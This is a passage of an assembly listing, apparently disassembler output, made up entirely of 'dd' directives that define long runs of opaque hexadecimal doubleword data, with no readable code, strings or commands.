0A60E2F21h, 19A122E4h, 1D31A11Bh, 3B402FCFh, 934BE12h dd 33C7BF1Ch, 291A3B35h, 2259D6BAh, 0BC521A4Ch, 200214C8h dd 2C05EFFDh, 203C9EC7h, 609ED5F1h, 0F01934A3h, 9A273694h dd 3C9B8E39h, 0DFBF1BC2h, 0A71F1FC5h, 20033730h, 240099B2h dd 2AFE0E55h, 0EF490E08h, 0A1620B35h, 37BFA636h, 73B33D70h dd 3376B434h, 0E2122318h, 6CAA2866h, 23747427h, 5B2D3A07h dd 0A5296A19h, 19313C79h, 0F7FBBFE3h, 1A6B3ACDh, 5404D46Bh dd 5B837AC0h, 67A9DF1Ah, 2962AA2Ah, 2DD790E1h, 7C242A2Bh dd 44E2AA2Ah, 37450031h, 59331896h, 6D3C9A0Ch, 49183FFAh dd 6C3B4A14h, 2D1134E0h, 33002907h, 0B8670E65h, 76C7223Bh dd 0D43FF208h, 3466B216h, 0EC7F36FEh, 19555A19h, 7FC2097Fh dd 81217715h, 2A257140h, 287E2FC0h, 8E2D7D21h, 91DA3860h dd 670F65CFh, 38E80950h, 693DE132h, 1B1ECE39h, 35200808h dd 3A26FDBDh, 0F897C0F3h, 2DFF1828h, 451852FEh, 21D0703Ch dd 507E3BE6h, 5D2A3972h, 291FA99Ch, 0A2C8020Dh, 971C2090h dd 9ABE2525h, 0B60A629h, 368C2F97h, 0DD2E33C1h, 39CA65BCh dd 243CCF49h, 1CE97DD6h, 20EB343Fh, 0D611CA39h, 7921C725h dd 0C43C2ADAh, 0A82FDC0Fh, 202532C5h, 38C524DDh, 293BCE76h dd 0E97A3CD5h, 1FEA1B1Ch, 11D0C934h, 22849877h, 0C33929DBh dd 2E9ADFCEh, 32F69B31h, 3637E135h, 0D13B38DAh, 0C7943C3Dh dd 9F1B1D1Ah, 2320320Dh, 8C242507h, 6A282915h, 2F612D2Ah dd 33306C2Eh, 37345A99h, 0A23839B3h, 3F9B3D3Ah, 1CA8513Eh dd 2020D31Fh, 52E5DB4Bh, 4AE9B228h, 0EDAFAA8Ch, 0DF346926h dd 61CFF231h, 69B3D357h, 0EE73B6D2h, 481D314Dh, 0AB1B3A1Dh dd 0ED107420h, 131526AEh, 0B82474EFh, 0F1ADA4ECh, 626041ADh dd 18CEBD62h, 0BC37BC0Dh, 3B061F0Bh, 7F444DF4h, 0CBEA292Dh dd 0D70F2443h, 2B25C17Eh, 960F2D24h, 3319FD32h, 331271BFh dd 0F3A4D70h, 77244974h, 1E96486Eh, 20BC3012h, 0D220E322h dd 2B2BB427h, 0C62E2C2Fh, 0CC129027h, 3F08DFCCh, 10393F1Dh dd 3E28732Fh, 371F3D15h, 2783DF2Dh, 260823DEh, 528261Eh dd 1D2C897Fh, 93042F8Ch, 35960B32h, 399A620Ah, 793C997Ah dd 0BE533F9Ch, 824A821Dh, 24817221h, 70278471h, 79772A8Bh dd 924F2E8Fh, 34915631h, 5437945Dh, 4C3B986Ch, 0B94B3E9Fh dd 4BDC651Ch, 2380745Ch, 1826C7A0h, 2B152A28h, 0A47B2D18h dd 5BCD5BDCh, 74840534h, 9A5E3838h, 6F3A1D3Ch, 0DE38957Fh dd 2229CC78h, 0AD727270h, 28F1F81Ah, 4BA42D2Bh, 0F5C0BBDFh dd 36C93476h, 91BFB233h, 0BA3D3F3Bh, 75156EFFh, 21201CF6h dd 858EDC20h, 0AC8027A3h, 2DA99B2Ah, 9B30AA96h, 0FD34B6F2h dd 0BCE837B3h, 3DBCE33Ah, 0C3C5DB5h, 264ADE03h, 35BB2321h dd 28678D00h, 0A938281Bh, 30AA352Dh, 6233B712h, 0E837B71Eh dd 3D3E0C09h, 5D3FBB03h, 511E98B1h, 922D21A1h, 958E7724h dd 9A267A3Bh, 369CF32Ch, 3A7094C9h, 88255490h, 1631586Dh dd 0BAEC3EADh, 0E8ED18B9h, 318375CDh, 2257501h, 2B38C186h dd 2DDC0CA7h, 607AD968h, 9B1A5622h, 0EA615EE5h, 0A8AE3C6Ah dd 0AF49E9ABh, 6628E602h, 0CD202115h, 4315C43Eh, 4D288D1Dh dd 7D074F2Ch, 3A235234h, 895A2057h, 0D5F133D8h, 7D181F8Ch dd 602C1D0Ah, 0CC258324h, 0F3EA6F2h, 8A414A43h, 0B3450E2Ch dd 54353056h, 6777527h, 3B5CDC88h, 13FE54D5h, 67F6419Eh dd 9DAC35D1h, 3A563E6Eh, 0A574F889h, 0B12E8C6Ah, 8D30909Dh dd 22262BE5h, 2669B8F7h, 57961F7Dh, 1D9D1FF3h, 812010CCh dd 0F5343272h, 626FA227h, 0A4273B8Bh, 35F620A9h, 31153633h dd 0EB7B53Ch, 36DC040Ah, 6BD24B07h, 3D0C9F33h, 0A907A293h dd 3CE93702h, 0ED383CEAh, 6162EB3Ch, 5D282472h, 3961F6EEh dd 0E6CC7F13h, 0F70F163Fh, 0A4145B3Eh, 66672082h, 0F84F3E2Ch dd 0E83B2363h, 5A4AA25h, 67610330h, 0A0F4E0CAh, 753B291Bh dd 0BA8D6D2Dh, 0BEB6BCABh, 9FDA7B8Dh, 46266A85h, 86628893h dd 7C2A358Dh, 643ED165h, 0BC6273BFh, 0B06A7738h, 41B3656Ah dd 4F4D1C20h, 0AFEEAB4Dh, 0AB05357Dh, 30C10E49h, 0A57D5CEBh dd 20D9FB67h, 0CA5D34D2h, 9EF4B895h, 3E32C8D3h, 1D131B30h dd 49DF75D2h, 66A14C22h, 884C2626h, 7D282B2Ah, 3115A64Ah dd 0D934B036h, 6F6D642Ah, 3C6BE009h, 40925A6Fh, 39F70E39h dd 7953238Ch, 95670251h, 2C282A28h, 5CA6DD16h, 21460615h dd 437C6B4h, 4D18B16Ah, 0D89D2A32h, 1F7C0A95h, 33189F68h dd 14672254h, 0AA37FC29h, 0C911AE0Dh, 317F51CFh, 5031F235h dd 4A386F7Bh, 3E76423Fh, 0CFB3268h, 222E2FA0h, 34BD242Ch dd 4021344Dh, 0EAC0619h, 0F40A104Fh, 0B43A3246h, 0B1685871h dd 0D6341EF4h, 8D7D8E21h, 73BABE0Eh, 0E55A0DE3h, 39FC8D82h dd 30866A7Bh, 0F1BB032Eh, 37AA331Bh, 0FF3D3663h, 0F9BF6565h dd 137A7036h, 9A9F0640h, 252328A1h, 84773EE5h, 962B53C1h dd 9227248Fh, 0C53F83Bh, 15079666h, 6C69366Dh, 3A3F636Ch dd 0C5F61C54h, 0C210112Bh, 0B3150924h, 93A7C179h, 0D1C83E2Ch dd 27F6B2CFh, 137A35B9h, 0D197D118h, 6F3EC2C2h, 4AF5D290h dd 23DEDEF4h, 0FEAFA422h, 6A0D6CE1h, 0C62CBC2Bh, 7233D7C7h dd 5D58F33Bh, 5F5F5552h, 4E7D0F4Ch, 1D2B790Ch, 43260F18h dd 40574262h, 68584A7Ah, 0E92D282Ch, 45517F40h, 5831335Ah dd 7AF84438h, 458C2BABh, 783E4851h, 6D0F465Ch, 4B514148h dd 8F53EEF5h, 236F57E9h, 5959681Dh, 7ABE6A91h, 122BD62Ch dd 73891A29h, 5B113F9Fh, 0B1F0D3Eh, 22A063C8h, 2527A467h dd 0AB551CC0h, 0CF9DAC2Dh, 0D181F441h, 3EFFAA46h, 0A7100929h dd 0B41AF8B2h, 0C8FC19DEh, 1ECB044Bh, 0A37D2666h, 4C88C2E2h dd 2D28B02Bh, 0BB39D20Eh, 3EBE2C7Dh, 0CAB01064h, 0B7117F9Fh dd 96305B79h, 6FA92B55h, 250C8022h, 0A01049AFh, 6EA76B44h dd 0FC0B132Eh, 400875BBh, 57013738h, 6354E16h, 191B4AFBh dd 0CB2F7094h, 6070A927h, 8CC7AF15h, 7C670EADh, 0B37F7129h dd 2550DA30h, 1CBB9D54h dd 6C337A09h, 6DFDA19Ch, 4E4E1F5Ch, 0E30243C8h, 0AA2639A4h dd 2BE90DBCh, 69467D2Fh, 17A510D4h, 0EF23CA88h, 133F23D8h dd 9E3D3DACh, 38BD4CB5h, 4A857057h, 4E3EA447h, 7B1C490Fh dd 48650B68h, 13E13112h, 2785BDB6h, 5B0466BCh, 0FF58FD28h dd 250A4B0Fh, 0F1701F7Eh, 0F2DB2248h, 39DE17F7h, 4D3B7B28h dd 0D9667E1Eh, 1541A3EAh, 0DAB6B337h, 50713A1Ah, 9814541Eh dd 2192F3Ch, 0B0B6473Ch, 28D76601h, 0AD972843h, 0AFAFAF74h dd 4A7DBF61h, 6C37E2DDh, 33FBBF59h, 213FB7B8h, 5652AF99h dd 722393A0h, 6D5F97A4h, 3ABE3EA8h, 0E7A5B5ADh, 23813562h dd 0B73700DCh, 0DDD26932h, 0BCC1C370h, 9F15D87Fh, 20E1A4A9h dd 9C492197h, 2A886D25h, 0A5F8172Bh, 40FB47DFh, 0C8B4343Bh dd 3A367A77h, 0FE3D4B3Ah, 4F78716Ah, 23A7F748h, 0AE259392h dd 91FD1CEEh, 0B2CC284Eh, 40474AAEh, 0CCB73640h, 304B6716h dd 3C3F7082h, 6B4FEA05h, 671E3F40h, 2612301h, 0F3006F24h dd 52A7F76h, 0E02E6F89h, 758F3373h, 7AA2F334h, 3D7A4E38h dd 1F3E7C87h, 0B51F5DFBh, 6F23638Fh, 65822465h, 2F2BFD29h dd 2E6CB486h, 0BD309004h, 66DA3596h, 99B91339h, 3E6F213Ch dd 0A61DBC63h, 0C3341A47h, 26CD1424h, 0A32A28D0h, 8CC5246Dh dd 4435702Eh, 0E65E5C37h, 0D27DF21Ch, 3239BDD9h, 199F24D7h dd 23B71FE4h, 25E9CB6Eh, 0F2281625h, 2D283B42h, 31CF7C2Ch dd 63F7BAE2h, 0B02841BDh, 0FC85FC3Eh, 42BFCC3Dh, 701FDE2Ch dd 521F7271h, 892FA62Eh, 0A7EB1628h, 348533E5h, 9D712FF0h dd 34973339h, 9637975Fh, 90339671h, 5D9211BDh, 17C39922h dd 51EE1E54h, 482E6D2Fh, 4F2B2D68h, 0B633B131h, 1372F2F4h dd 3FBA392Ch, 3F8AB933h, 1D3FA118h, 2DDECB73h, 29252B23h dd 25292727h, 212D232Bh, 320B6A2Fh, 3275F3F2h, 3AFE3C37h dd 90FE393Fh, 19384F3Eh, 2920F39Dh, 0AE72E311h, 29A370D7h dd 0D2E5A8D0h, 0E0C781DCh, 4747A14h, 9BD0A636h, 35B7037Ah dd 1292603Eh, 62454E96h, 2B791D20h, 27272925h, 2C24D529h dd 30202E22h, 343C323Eh, 3838363Ah, 3383A36h, 177C0E73h dd 9CE0964Bh, 10DD21E9h, 0D088D7E4h, 0D4BA78F9h, 0CFF4E539h dd 23B9E17Bh, 36443485h, 0FB0929B1h, 3E3AF9BFh, 9C871DDAh dd 0F2625005h, 202C7021h, 18A596CFh, 199C042Ah, 98D9322Eh dd 38C23503h, 0FF2FFA4Bh, 692732D8h, 0B9389738h, 266617FDh dd 0D9CC2B1Ah, 29C90F67h, 0C5252F5Bh, 20F00CF8h, 0E2942340h dd 294A3F33h, 450E3C79h, 0BB12ED6h, 8B1CF614h, 0FF23D136h dd 7C127C5h, 0DC2AAA86h, 34AEE102h, 0FF250231h, 2ED873D5h dd 302DCE02h, 0F19C1FD5h, 1231F50Ah, 342027C8h, 0AF31231Bh dd 2129C126h, 75C6203Bh, 14833FB1h, 7EDE3923h, 2C7F3B3Ch dd 3DD67705h, 48429C75h, 0CBC9EF94h, 2125ADB1h, 2692060h dd 0EEA46433h, 0BD31D52Eh, 6D49B46Ch, 0AF667D6Eh, 0BE979D13h dd 0C4B4F36Fh, 0E5211F1Fh, 0D52B4230h, 0B9BACF17h, 7C2C34AAh dd 0F70081A7h, 9D168C0Fh, 1B9BDA14h, 0FDB8FA2Bh, 1CBB55CFh dd 0F9B1119h, 75765C61h, 0A2CFAE4Eh, 2C3E2A73h, 4F6C2A2Ch dd 6432C2B4h, 0E3055AC5h, 7CFB91D1h, 0F3D7B51Dh, 73EC782Fh dd 34B4C934h, 94762754h, 736E2970h, 957DD7Ch, 0C32B1188h dd 15891545h, 6FDBA4Bh, 11800E6h, 20572223h, 1C951EBDh dd 190E1B27h, 292917BDh, 2F2D2F1Bh, 25323073h, 58051503h dd 85094007h, 0D10DE10Bh, 5F2D390Fh, 0A3117D2Fh, 8315A913h dd 97198B17h, 1C1DEF1Bh, 4102FD1Ch, 0AC07B701h, 79CDA805h dd 0C335EA38h, 9D2B36E7h, 21361F77h, 6D3DF645h, 3F667232h dd 0E283A17Bh, 270EAAEAh, 80246232h, 78A637CFh, 563F8934h dd 93F16D7Dh, 89B0045Fh, 2A0320C0h, 0C7773CA5h, 32B86929h dd 7ABFA94Eh, 0A3D3D935h, 0F04255BEh, 64CA3FF8h, 7D3F8D62h dd 11A1E1Ch, 37003F3Eh, 2D950521h, 0A9497906h, 2D7A245Eh dd 25D310CFh, 7EBE32B8h, 7E39B333h, 0F03E0E0Ah, 0D80D906Fh dd 12E0DFEh, 1760A854h, 3BCA1E63h, 0B6AEAEDh, 8943AE3Dh dd 4934830Bh, 193A689Bh, 3CB8D436h, 0A48F3F3Dh, 203DD21Fh dd 0DC3EA972h, 292724FFh, 50A07D7Fh, 30913E09h, 35316225h dd 393708B5h, 6B304E39h, 98ECC16Bh, 9A161DD8h, 0A23654E0h dd 2726A5E2h, 3FD4A82Bh, 2F2F2FBCh, 0B8CDD34Ch, 5D613172h dd 6E6A7932h, 0E42E28C3h, 1F0D40DAh, 0A92517DFh, 0ADD80FDBh dd 3A0D2873h, 0F92EC328h, 0BB33EF04h, 73F33673h, 74B23A37h dd 68B6383Bh, 36D31833h, 0E1A51FC9h, 0AC206DABh, 26202B70h dd 6D2CACAFh, 3E302ED5h, 3A343C32h, 39374836h, 3D333B35h dd 1C143F31h, 0E7601E12h, 2C6D22ACh, 0F46E6FCDh, 0D3D42A91h dd 0F371E8A6h, 3832FEA1h, 30F6B535h, 0C37C14D0h, 1FAFC131h dd 7562101Ch, 23CA49DFh, 262666A8h, 2F2A884Ch, 2FC67D2Ch dd 0CCCC165Ah, 0B239EEB0h, 3B3B5838h, 3E3E553Eh, 0DA1D4D2Dh dd 22057492h, 0AC2576A9h, 0D40260F0h, 72532ED4h, 0CC4F3027h dd 66933432h, 0C41637DFh, 0FA89BFC4h, 379C1D3Bh, 51259F1Eh dd 0F542266h, 0B6102776h, 3DC6132Ch, 0F602B9A9h, 7A33253h dd 0ABF0D0E2h, 0FAD3708h, 8F1B8FA4h, 0B2604C1Bh, 0B0B55727h dd 1AB26817h, 189B5177h, 0D0321CB5h, 853D0372h, 0F6A1665h dd 0CD31AAD6h, 19301F3Ah, 1E1E3B04h, 0C5C112A3h, 3FE2A65Ch dd 0C32ACFFCh, 0D0D3C769h, 33FDBA60h, 0CADE6DDCh, 34FABCC7h dd 3FBAB83Ch, 0F61E7618h, 0DFC820C1h, 22E1A7DCh, 542DE8A2h dd 0F5372C62h, 0B9CECDDDh, 0EF03073h, 3A383AAAh, 0C13D6C2Fh dd 1FC0632Ah, 21484F1Fh, 2560655Ah, 7CA3AA27h, 7E2D2B2Ah dd 0D9602DA5h, 0C930DED1h, 0B26877C9h, 62CABECAh, 6DBE64F8h dd 13410CF5h, 3B23C0E1h, 2838756Fh, 3B5FBAA7h, 133E1E2Eh dd 55DA580Fh, 7B36360Bh, 0AEB62A75h, 80235378h, 0DF27BF17h dd 3C623920h, 0CC1FA02Ch, 0B635A12Ah, 0BE8017A1h, 330ADC0Ah dd 7555DD0Ch, 3D4F9927h, 0BD60FD0Fh, 89999A2Bh, 0E22567C8h dd 2E3E24B2h, 6A0DBE25h, 5286EA5h, 26B065BAh, 0AA219E20h dd 0D6B82CAAh, 3E3C302Bh, 2E0A1B3Dh, 0A70495D7h, 0A6E4A32Eh dd 0AC08D8FEh, 22A824EAh, 115A202Eh, 1157B39Bh, 0C527F761h dd 7DC8BC78h, 791B1E3Fh, 1DFB7631h, 0DB723721h, 0ECA4F145h dd 0B2ABA33Dh, 20CF25ECh, 8F313230h, 1C4396F4h, 3BF82B2Dh dd 5A3E3E57h, 19971514h, 0D336E025h, 0DFE61724h, 0A05D628h dd 2F212D23h, 333D313Fh, 3739353Bh, 17FC1B18h, 9DFFBD1Ch dd 8E2138AFh, 7A2D201Fh, 22CCAF74h, 2108A852h, 9A59363Bh dd 3291040Bh, 0D6249403h, 9BA93ABBh, 0B5C5792Bh, 5900FB77h dd 2E20E137h, 0DA242C22h, 29272729h, 2D232B25h, 313F2F21h dd 18F43339h, 3A388536h, 55F5BE69h, 1C741DBEh, 59B7A731h dd 0B12C2271h, 9FCFE5B5h, 7F1F2AF7h, 3204FA7Eh, 0F65C912Eh dd 0FCB43535h, 139B1F2Dh, 1763DF66h, 12457F99h, 513E06A0h dd 7520E45Ah, 0FD57F78h, 294E2939h, 3DF32CBBh, 0E4CCCA62h dd 0EB167E68h, 0DE230D3Bh, 0DF308C1Fh, 2631CD02h, 3476B563h dd 1D883123h, 0ACACABFAh, 636128E7h, 37353023h, 39F93C17h dd 0BF2EECC2h, 4D2F9AFBh, 89485B4Ch, 0CD7133A3h, 0AA020740h dd 8D38EF7Eh, 5B18AF26h, 0DC3CB359h, 57F84000h, 0FD88063Dh dd 0CA263A3Dh, 1D1E8B1Bh dd 0E1E2A11h, 29271B24h, 0E4635C9h, 39489E0Eh, 342D1112h dd 5E14153Fh, 9A1DBAE2h, 0DD3C2AB4h, 56595408h, 36A1300h dd 0AA864076h, 80897544h, 0AF754B25h, 7037B132h, 77B0D55Bh dd 49924D07h, 30BF5655h, 1F1A3D1Dh, 4E092738h, 9C64514Fh dd 45384A07h, 5D46AC59h, 56587873h, 0B6F05457h, 5B7D1811h dd 0BA325B55h, 5D019BAFh, 2ED3242Eh, 4064A5A6h, 7ED777D8h dd 782C5E5Eh, 0A3F4F91h, 2B40F452h, 398A4DEh, 3FC96C19h dd 694C1B34h, 7FC09515h, 7AE022AAh, 561EE57Eh, 25215F21h dd 3067790Dh, 0B9714708h, 0B123D64Bh, 8BB33667h, 0A4F5D63Dh dd 0DB9DE2E1h, 0A874210Ch, 362E2ECh, 2F2A296Ch, 0D293CBC4h dd 337CBCCFh, 8E676530h, 3B7E4850h, 0BBD63C2Ch, 0D19D1CA0h dd 6E21ADE0h, 5AAC2C07h, 2AC16803h, 0D1D09422h, 58303045h dd 325F2433h, 30782D5Dh, 383778C0h, 0AB165898h, 0A121DE0Fh dd 24E53CA4h, 0E90532E6h, 236E002Bh, 74B82DEEh, 3034533Ch dd 78535933h, 41327B32h, 5991317Ah, 0F08D1E17h, 0E4296774h dd 6CEC2C64h, 266FFC23h, 28EB0BCCh, 143F7ADEh, 0B832723Eh dd 6DF2E0Bh, 48C8D625h, 9BE1BDE3h, 0A36055E0h, 46662125h dd 2BCA786Ah, 74D0C530h, 0B9E50C1Ah, 2FBA7764h, 0D3223AB9h dd 2B381FFAh, 3D9DD36Eh, 3634600Fh, 3655AD7Dh, 0B21ECA4h dd 0AE2F0E3Bh, 0BB2F6E30h, 0B6DE1FB3h, 4FC6C63Dh, 60623A3Bh dd 0DE47DB0Ch, 357E5F93h, 12CCB71h, 0D271AE2h, 24ACFAAFh dd 0E3F02760h, 6F647FBh, 6A351136h, 1FBCB3D2h, 471FA23Ch dd 345A1EDEh, 2B57F0A4h, 0EFDFAD25h, 2F2F2A2Fh, 7EA62EE2h dd 6F5D939h, 2C616661h, 3928203Ch, 0B93A2C1Dh, 8F1B0DBFh dd 7D7D1975h, 0DE1A8720h, 0BD5D60Bh, 2F212D23h, 333D313Fh dd 3739353Bh, 167E1EEAh, 0BE19E793h, 1DD14F7h, 0A974004Ch dd 667272CAh, 2CC1302Bh, 0AE38CCF1h, 2714782Fh, 28763293h dd 63F583Bh, 76880A3Ah, 1A9A4721h, 0C027977Ah, 0C52007h dd 6329FE90h, 0F212CA8h, 513783B1h, 1D623494h, 21B9309Eh dd 0A000DA3Eh, 51153898h, 0E1DB19BDh, 0C8167036h, 6E3E2694h dd 7C068BB8h, 50E456C5h, 0C78F308h, 30F528F4h, 77AA361Ah dd 4D3F54C7h, 1D5C1D46h, 0AB26306Bh, 0FF25D777h, 6D22E9ABh dd 0EE2DC328h, 0A5443699h, 9BDE650Ch, 6094537Bh, 1B6A3B32h dd 1F96181Bh, 0A9E81349h, 0E01E2411h, 0EBBD2779h, 7F7DEDA1h dd 66CBD8B7h, 2F35B2F1h, 7E79684Fh, 6C153D3Ah, 0C6EC0EC0h dd 0A1211E1Ch, 0E1A75829h, 5CEB1C2Ah, 2FAC0AA0h, 493E2F45h dd 34746262h, 0CBD0073Eh, 196855FBh, 4E936F12h, 361F97F5h dd 2433E6A2h, 7840062Dh, 0C0A57C1h, 0C0F362Fh, 9823B360h dd 0E36CCDDh, 1E2B2A18h, 1E3F122Dh, 7D17F648h, 1CA13726h dd 2B22C428h, 6BEAC184h, 9CF4ED43h, 6A3E08D1h, 2249423Ah dd 5EB73937h, 8D2CFEF1h, 1F085201h, 0D1C97077h, 0D92175A1h dd 5A28DB26h, 522C2C29h, 263332Fh, 79D04B3h, 0BC909E6h dd 0C580E67h, 2FAE294Ch, 12B72C96h, 110F1704h, 1C671318h dd 18FF1E99h, 7431ACAh, 3E7058Ah, 0E670007h, 5220CC9h dd 24500714h, 189F267Ah, 1D341B33h, 11021F77h, 15991305h dd 0D016E32Dh, 4C091508h, 2A3360Fh, 7340087h, 6C3D0566h dd 1FDE162Ch, 2022A922h, 97154624h, 641E201Bh, 1B882D18h dd 7F6058Dh, 343601D8h, 80F2C0Dh, 3F0B0309h, 2BDD29B5h dd 17DD15CCh, 0A17A3923h, 6FF236FDh, 0AE7E2C06h, 0B4BB6742h dd 36B802B3h, 0FABD2949h, 0B3067AB0h, 4D3A453Fh, 2C54D095h dd 0A55021CAh, 0ED4077ABh, 8D2C6F78h, 0D93BC42Fh, 0A9377155h dd 0B2A83477h, 3D75D3F1h, 9C95B50Dh, 0B6951A28h, 4291BE1h dd 3E0F2535h, 2C2AF00Eh, 745E6E3Dh, 440F3241h, 932B1539h dd 48D9273Dh, 49195B05h, 0DE46196Ch, 0A8321121h, 5D2576D4h dd 7B7C2899h, 0D0D1472Ch, 45C4B4E5h, 0C9B51531h, 58994CC7h dd 0A1C16A4Ah, 6F1C4CCDh, 33808A69h, 0D91260ABh, 0F3126B27h dd 0D155A024h, 0B7CE30D0h, 0B1B13BC5h, 6F313B37h, 36D8A1D3h dd 43435C4Ah, 7CE3943Eh, 56E1E079h, 41A07174h, 522C7D42h dd 726C3AD1h, 2FD4BC5Fh, 3D3D5357h, 556AB1BAh, 981F0D06h dd 0DF1F5396h, 242C222Eh, 2828262Ah, 2C242A26h, 30202E22h dd 3B333DCEh, 37373935h, 333B3539h, 143F313Dh, 1F111A1Ch dd 232D212Fh, 0EB2496F1h, 0D4402053h, 6C554B44h, 57333130h dd 67323595h, 1EB3395Ch, 0D3BF393Ch, 21FD187Bh, 22A8EA24h dd 2556346Dh, 0A13D6ED8h, 0A539722Bh, 2FD8F1E0h, 0BFEC3430h dd 7A822C69h, 157D3F3Bh, 6FE720E7h, 724F7E58h, 1560AE22h dd 0C178753Eh, 2D212B87h, 297EA22Ch, 0DD306563h, 0B2B57725h dd 2FFB8D1h, 8C53BCBEh, 279F1A7Eh, 45BCCA05h, 983A683Eh dd 642B3A21h, 0E1A0C629h, 0C4177E2Bh, 0E9D6AA3Dh, 0E7DFD3Eh dd 89797E3Dh, 9D1E7D55h, 653F8124h, 37272512h, 0ED163FE8h dd 4632CF72h, 3F3AAE71h, 777F1E34h, 5B90D0C4h, 0FF2BC2C1h dd 951C1EC1h, 229D2222h, 22E1A729h, 2EB0FFD8h, 5C292F92h dd 0B9C3BB07h, 62113467h, 3CFFBB65h, 3E1CEFD3h, 63EA9E54h dd 31361F48h, 253761CAh, 0D6CAA60h, 7D202A02h, 32462E4Fh dd 3550A9DAh, 23033798h, 113D3F3Bh, 8219FFB5h, 101FB83Bh dd 0C39A6D20h, 28AC6926h, 11A02909h, 26AFB1EDh, 35373259h dd 7408B703h, 3D51261Dh, 0D5B46F7Dh, 9FF545F4h, 0E422E972h dd 51EA01A0h, 0AFC22F28h, 332EC150h, 0E83A24CFh, 0B7A76CB6h dd 9BBF212Ah, 3E1D1629h, 3E0A005Ah, 6DAC7091h, 2E85338Dh dd 0B4C82427h, 0E3266DDCh, 0B961298Dh, 0F499BDEBh, 31395E2Ch dd 31E64CBEh, 167D61BBh, 36401C1Eh, 33C4FE73h, 0CC4B6744h dd 0D6B7EA3Ch, 27D726AFh, 714EF20h, 3838A1BCh, 28E32EB5h dd 994D0BDFh, 0A410DE0Dh, 140C0286h, 2727D0A0h, 2F2BB7ADh dd 7041A378h, 0BF656539h, 17973648h, 3EE33E69h, 64A131Dh dd 1E1A5B97h, 25AB7EC0h, 776E4552h, 956EA9A5h, 15C67D3Ch dd 33225001h, 0DF32BE3Ch, 0A53AB9F7h, 3DD63972h, 745C7C46h dd 665E716h, 2225643Bh, 0CA5D2EE0h, 32C529CBh, 1B31E736h dd 1755A472h, 6BFFF8B2h, 4A3C033Bh, 0EA503B23h, 2DA92EFEh dd 58841164h, 4D200EA6h, 0D3D26A3h, 0F224EB24h, 84432B2h dd 49F0AA7h, 820682h, 9ED102FBh, 0F1221EA1h, 0DF1EC91Ch dd 16272418h, 121D1433h, 307C1068h, 970D530Fh, 0D909980Bh dd 2CB0439h, 242D00C2h, 57211D31h, 4F1D401Fh, 1826BA1Bh dd 14F11686h, 2F2E12DAh, 8586133h, 0CC70EA8h, 76202C4h dd 3C6019Eh, 23382110h, 1F181D33h, 1B7C1973h, 17A8154Dh dd 107911A6h, 0CE10E46h, 9BD0BB2h, 5920795h, 3D2D3F3Bh dd 1DA01A3Fh, 4610311Dh, 3D159F13h, 861A8014h, 971E9F18h dd 0A539EF1Ch, 7743ABAh, 0C9B3E436h, 0B933CDBFh, 0E3E63FC6h dd 0DF0963E2h, 84226634h, 0F141B22h, 255E2829h, 0CF2E44EDh dd 0B5A8DBE6h, 5427D73Dh, 373A07B2h, 0AEE87676h, 0BB14995Ch dd 3928A075h, 672B2FADh, 220B3C2Dh, 2F243BC5h, 731BD133h dd 72BDDC11h, 0BA77B23Ch, 556F7F1Ch, 7199741Ah, 0C22875EEh dd 4783CC39h, 220D647Eh, 0E44528C3h, 16651A8Fh, 0F367763Fh dd 1BE13713h, 3648E734h, 364C142Eh, 40DC14h, 0DE4DC32Eh dd 6A296FABh, 26FE34EAh dd 41EB1C2Ch, 32B4173Bh, 3EB82B74h, 0C2C3DDBBh, 3D8F32AEh dd 71491CCFh, 21D24E49h, 2867AD4Dh, 39D4782Ah, 0BB3E8EF5h dd 74F3C923h, 3A75D1B4h, 25A71EBDh, 4B683D2Dh, 1B1E1F5Fh dd 3E2121BCh, 84772785h, 7F2DA92Ah, 771D657Fh, 67326663h dd 7061656Dh, 3B6E6C6Dh, 9087864h, 3B151C2Bh, 4F7D5337h dd 0C6798E93h, 464A2E2Fh, 47D64844h, 32728F87h, 72221559h dd 434D4D57h, 381E343Bh, 1C2E0F5Fh, 4C261924h, 43534856h dd 0D6D72752h, 2D246F5Fh, 0FE331760h, 0BE0C7DBBh, 77B3E636h dd 49F5BE0Ah, 5A903710h, 708DE21h, 247DA972h, 0A1F82565h dd 0F4106A77h, 2951752Dh, 640774BAh, 0C7613E67h, 0B922BAE8h dd 1B3C4BFDh, 0D8DD4343h, 27226166h, 2F4CAE98h, 28E2A268h dd 34C62F22h, 3D31183Eh, 3972CDBFh, 3D9937h, 383DFCC7h dd 9A121D71h, 0C2A880E9h, 0A651665Fh, 0C27B3C23h, 0D6340D51h dd 38B20715h, 143FB46Bh, 3921583Eh, 0B96216D3h, 19C4F23h dd 25233A4Ch, 2407A1CAh, 482AED44h, 2DE12862h, 8F3BB3A3h dd 0BEBD6FE5h, 0D8F9FC3Eh, 0B6F775B8h, 0D4933CE6h, 6E9B5294h dd 0A6EC01F0h, 236B3E6Bh, 0AF5DAAE2h, 1225BA63h, 5FA32339h dd 0F92E4EB4h, 0BC6E3DDBh, 63BBF545h, 4F669FCCh, 136159A0h dd 0D9A7622Dh, 0CACAEBC6h, 92522C2Ch, 3A2D38E4h, 2527353Bh dd 6B6D6F2Fh, 0C056B5CCh, 1E020C14h, 31619F1Eh, 0E75131DCh dd 0AFD94576h, 0BF3B58DDh, 304AC0B0h, 0F65A74E4h, 96F3142h dd 3EFD5FC4h, 42DB1AFEh, 7E2A8B40h, 7BE411E2h, 834E3A5h dd 8F3B6BBBh, 0D907AC06h, 371B3Dh, 490D3532h, 2C49CDBFh dd 19D3149Ah, 41175D3Dh, 0DB751C61h, 2B271A30h, 0EB6B2AE9h dd 160C2EECh, 846C1113h, 0C6325334h, 486D8C27h, 1D305F29h dd 0D4A2137Ch, 0A126E126h, 0FA24E730h, 0EBA23DBBh, 0AF2B4D2Ah dd 31F2F520h, 0BB843FB4h, 69D25478h, 0F319F99Ch, 4FD13C53h dd 22B9233Fh, 0FE07A420h, 0E2B0AA7h, 8ED53C3h, 0FA138847h dd 0EE9D10A7h, 31193B37h, 6E381C69h, 0BCB51F3Bh, 0A15B531Ch dd 2564032Eh, 6B2AF727h, 2F2C5A01h, 40062C2Eh, 351C3032h dd 39487635h, 3F2A33h, 0FC186B3Eh, 318F1D08h, 2737B922h dd 2B333383h, 0EE283E9Dh, 302B2E5Ch, 45E32432h, 0E6314635h dd 3C3D3A48h, 0CBE7C3Eh, 8C7D897h, 232D2CDFh, 30A3A2Dh dd 18522924h, 23D11EC1h, 3F03DF8Eh, 0CB785296h, 4E3AF103h dd 41E5B815h, 1E03250Ch, 0D91A246Bh, 0CE723956h, 9892AA23h dd 5AEDA921h, 3F21DB3Fh, 0D046DC64h, 0BB7C3937h, 7D32FA3Fh dd 993897A2h, 0C4F0E2Eh, 9D742712h, 